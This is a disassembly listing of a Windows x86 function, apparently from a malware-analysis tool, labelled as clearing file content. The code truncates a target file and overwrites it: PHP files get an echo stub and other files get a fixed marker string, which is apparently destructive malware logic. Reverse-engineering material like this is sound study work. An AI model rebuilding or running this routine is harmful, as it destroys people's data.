Function at 0x35001e60
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call dword [0x3502cb10]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x35001e92
jmp 0x350020be
mov ecx, dword [0x35025278]
mov dword [ebp - 0x34], ecx
push 0
push 0
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [0x3502709c]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
call dword [0x3502709c]
mov dword [ebp - 0x30], 0
push str..php
mov eax, dword [ebp + 8]
push eax
call fcn.3500d050
add esp, 8
test eax, eax
je 0x35002098
push 4
push 0x1000
mov ecx, dword [0x35025278]
add ecx, 0x14
push ecx
push 0
call dword [0x3502cd24]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x35001f18
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x350020be
mov eax, dword [0x35025278]
add eax, 0x14
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.3500d070
add esp, 0xc
mov edx, dword [ebp - 0xc]
mov eax, dword [str.__php_echo__]
mov dword [edx], eax
mov ecx, dword [0x3501a1d8]
mov dword [edx + 4], ecx
mov eax, dword [0x3501a1dc]
mov dword [edx + 8], eax
mov cl, byte [0x3501a1e0]
mov byte [edx + 0xc], cl
mov dword [ebp - 0x14], str.t__r__y3___oe
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x14]
mov cl, byte [eax]
mov byte [ebp - 1], cl
add dword [ebp - 0x14], 1
cmp byte [ebp - 1], 0
jne 0x35001f60
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], edx
mov ecx, dword [ebp - 0xc]
add ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov al, byte [edx + 1]
mov byte [ebp - 2], al
add dword [ebp - 0x24], 1
cmp byte [ebp - 2], 0
jne 0x35001f8a
mov edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x3c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0xc]
add eax, 0xffffffff
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dl, byte [ecx + 1]
mov byte [ebp - 3], dl
add dword [ebp - 0x28], 1
cmp byte [ebp - 3], 0
jne 0x35001fbd
mov edi, dword [ebp - 0x28]
mov eax, dword [str.____]
mov dword [edi], eax
mov cl, byte [0x3501a1e8]
mov byte [edi + 4], cl
mov dword [ebp - 0x1c], 0xe
jmp 0x35001ff5
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x18]
mov al, byte [edx]
mov byte [ebp - 4], al
add dword [ebp - 0x18], 1
cmp byte [ebp - 4], 0
jne 0x35002004
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x44]
sub edx, 6
cmp dword [ebp - 0x1c], edx
jae 0x35002043
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x1c]
movsx ecx, byte [eax]
cmp ecx, 0x22
jne 0x35002041
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x1c]
mov byte [edx], 0x27
jmp 0x35001fec
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x20]
mov al, byte [edx]
mov byte [ebp - 5], al
add dword [ebp - 0x20], 1
cmp byte [ebp - 5], 0
jne 0x35002052
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x48]
mov dword [ebp - 0x4c], ecx
push 0
lea edx, [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [0x3502cd30]
push 0x8000
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x350020b4
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [0x35025278]
push edx
push str.t__r__y3___oe
mov eax, dword [ebp - 0x10]
push eax
call dword [0x3502cd30]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret